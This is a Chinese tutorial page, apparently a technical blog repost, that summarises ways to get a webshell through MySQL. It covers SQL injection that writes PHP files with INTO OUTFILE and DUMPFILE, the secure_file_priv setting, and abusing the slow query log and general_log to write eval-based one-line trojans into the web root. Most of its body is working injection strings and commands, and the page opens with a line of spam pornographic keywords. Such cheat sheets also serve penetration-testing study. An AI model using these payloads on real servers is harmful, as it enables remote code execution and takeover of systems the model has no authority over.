欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

mysql數(shù)據(jù)庫中getshell的方式總結

 更新時間:2022年07月11日 14:49:55   作者:Z3eyOnd  
MySQL版本大于5.0,MySQL 5.0版本以上會創(chuàng)建日志文件,我們通過修改日志文件的全局變量,就可以GetSHELL,下面這篇文章主要給大家介紹了關于mysql數(shù)據(jù)庫中getshell的方式,需要的朋友可以參考下

outfile和dumpfile寫shell

利用條件

  • 數(shù)據(jù)庫當前用戶為root權限;
  • 知道當前網(wǎng)站的絕對路徑;
  • PHPGPC為 off狀態(tài);(魔術引號,GET,POST,Cookie)
  • 寫入的那個路徑存在寫入權限。

基于union聯(lián)合查詢:

?id=1 union select 1,'<?php phpinfo();?>',3 into outfile 'C:\phpstudy\www\shell.php'%23
?id=1 union select 1,'<?php phpinfo();?>',3 into dumpfile 'C:\phpstudy\www\shell.php'%23

非聯(lián)合查詢

當我們無法使用聯(lián)合查詢時,我們可以使用fields terminated bylines terminated by來寫shell

?id=1 into outfile 'C:\phpstudy\www\shell.php' FIELDS TERMINATED BY '<?php phpinfo();?>'%23

代替空格的方法

+號,%0a、%0b、%a0 、 /**/ 注釋符等

outfile和dumpfile的區(qū)別

outfile:

1、 支持多行數(shù)據(jù)同時導出

2、 使用union聯(lián)合查詢時,要保證兩側查詢的列數(shù)相同

3、 會在換行符制表符后面追加反斜杠

4、會在末尾追加換行

dumpfile:

1、 每次只能導出一行數(shù)據(jù)

2、 不會在換行符制表符后面追加反斜杠

3、 不會在末尾追加換行

因此,我們可以使用into dumpfile這個函數(shù)來順利寫入二進制文件;

當然into outfile函數(shù)也可以寫入二進制文件,但是無法生效(追加的反斜杠會使二進制文件無法生效)

當我們使用dumpfile,應該手動添加 limit 限制,來獲取不同的行數(shù)

secure_file_prive

MySQL的secure-file-prive參數(shù)是用來限制LOAD DATA, SELECT ,OUTFILE, and LOAD_FILE()傳到哪個指定目錄的。

secure_file_prive= ,結果為空的話,表示允許任何文件讀寫

secure_file_prive=NULL,表示不允許任何文件讀寫

secure_file_prive=‘某個路徑’,表示這個路徑作為文件讀寫的路徑

在mysql5.5版本前,都是默認為空,允許讀取

在mysql5.6版本后 ,默認為NULL,并且無法用SQL語句對其進行修改。所以這種只能在配置進行修改。

查詢secure_file_prive的參數(shù)

show global variables like "%secure%"

利用sql語句修改參數(shù)

set global secure_file_prive= 

但是5.6后不能利用sql修改了,所以只能利用配置修改

修改value的值:
windows下修改配置文件:mysql.ini
linux修改配置文件:my.cnf

日志getshell

慢日志getshell

慢日志:

一般都是通過long_query_time選項來設置這個時間值,時間以秒為單位,可以精確到微秒。如果查詢時間超過了這個時間值(默認為10秒),這個查詢語句將被記錄到慢查詢?nèi)罩局?。查看服務器默認時間值方式如下:

show global variables like '%long_query_time%'
show global variables like '%long%'

查看慢日志參數(shù)

show global variables like '%slow%'

對慢日志參數(shù)進行修改

set global slow_query_log=1 #打開慢日志
set global slow_query_log_file='c:\\phpstudy\\www\\test.php'#慢日志的路徑
注意:一定要用雙反斜杠
SELECT '<?php @eval($_POST[1]);?>' or sleep(11)
這兒11是超過慢日志的10秒時間

利用general_log

利用general_log,可以將所有到達mysql服務器的sql語句,都記錄下來。

相關參數(shù)一共有3個:general_log、log_output、general_log_file

show variables like 'general_log';  -- 查看日志是否開啟
set global general_log=on; -- 開啟日志功能


show variables like 'general_log_file';  -- 看看日志文件保存位置
set global general_log_file='tmp/general.lg'; -- 設置日志文件保存位置


show variables like 'log_output';  -- 看看日志輸出類型  table或file
set global log_output='table'; -- 設置輸出類型為 table
set global log_output='file';   -- 設置輸出類型為file

一般log_output都是file,就是將日志存入文件中。table的話就是將日志存入數(shù)據(jù)庫的日志表中。

getshell

set global general_log=on
set global general_log_file='需要攻擊的路徑'
select '<?php eval($_POST[cmd]);?>'

這樣就將一句話木馬記錄到general_log中,從而getshell

binlog的介紹

可以看看這個

總結

到此這篇關于mysql數(shù)據(jù)庫中getshell方式的文章就介紹到這了,更多相關mysql getshell的方式內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!

相關文章

  • mysql8如何設置不區(qū)分大小寫ubuntu20

    mysql8如何設置不區(qū)分大小寫ubuntu20

    這篇文章主要介紹了mysql8如何設置不區(qū)分大小寫ubuntu20問題,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教
    2023-05-05
  • MySQL表內(nèi)連和外連的具體使用

    MySQL表內(nèi)連和外連的具體使用

    我們在使用MySQL的時候,經(jīng)常涉及到內(nèi)連接和外連接的應用,本文就來詳細的介紹一下MySQL表內(nèi)連和外連的具體使用,感興趣的可以了解一下
    2023-10-10
  • linux服務器清空MySQL的history歷史記錄 刪除mysql操作記錄

    linux服務器清空MySQL的history歷史記錄 刪除mysql操作記錄

    mysql歷史記錄上可能留下了很多敏感信息,比如密碼什么的,需及時清空歷史記錄,下面分享一下inux服務器清空MySQL的history歷史記錄的方法
    2014-01-01
  • MySQL執(zhí)行計劃的深入分析

    MySQL執(zhí)行計劃的深入分析

    這篇文章主要給大家介紹了關于MySQL執(zhí)行計劃的相關資料,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2019-01-01
  • mysql中decimal數(shù)據(jù)類型小數(shù)位填充問題詳解

    mysql中decimal數(shù)據(jù)類型小數(shù)位填充問題詳解

    這篇文章主要介紹了mysql中decimal數(shù)據(jù)類型小數(shù)位填充問題詳解,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2021-02-02
  • MySQL通過實例化對象參數(shù)查詢實例講解

    MySQL通過實例化對象參數(shù)查詢實例講解

    在本篇文章里我們給大家分享了關于MySQL如何通過實例化對象參數(shù)查詢數(shù)據(jù)的相關知識點內(nèi)容,有需要的朋友們可以測試參考下。
    2018-10-10
  • MySQL數(shù)據(jù)庫?JDBC?編程(Java?連接?MySQL)

    MySQL數(shù)據(jù)庫?JDBC?編程(Java?連接?MySQL)

    這篇文章主要介紹了MySQL數(shù)據(jù)庫?JDBC?編程Java?連接?MySQL,在?Java?中,這樣的封裝就是由?Java?標準庫來完成的,封裝出了一套統(tǒng)一的數(shù)據(jù)庫?API?稱為?JDBC,下面來看文章的詳細介紹吧
    2021-12-12
  • mysql數(shù)據(jù)庫如何導入導出sql文件

    mysql數(shù)據(jù)庫如何導入導出sql文件

    這篇文章主要介紹了mysql數(shù)據(jù)庫如何導入導出sql文件問題,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教
    2023-11-11
  • MySQL查詢優(yōu)化:連接查詢排序limit(join、order by、limit語句)介紹

    MySQL查詢優(yōu)化:連接查詢排序limit(join、order by、limit語句)介紹

    兩張表連接查詢并limit,SQL效率很高,但是加上order by以后,語句的執(zhí)行時間變的巨長,效率巨低,接下來為大家介紹下連接查詢排序limit
    2013-04-04
  • Mysql數(shù)據(jù)庫之索引優(yōu)化

    Mysql數(shù)據(jù)庫之索引優(yōu)化

    MySQL憑借著出色的性能、低廉的成本、豐富的資源,已經(jīng)成為絕大多數(shù)互聯(lián)網(wǎng)公司的首選關系型數(shù)據(jù)庫。本文給大家介紹mysql數(shù)據(jù)庫之索引優(yōu)化,感興趣的朋友一起學習吧
    2016-03-03

最新評論